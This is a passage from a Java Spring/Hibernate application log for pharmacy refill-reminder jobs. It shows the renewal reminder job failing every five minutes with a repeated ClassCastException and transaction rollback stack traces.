org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 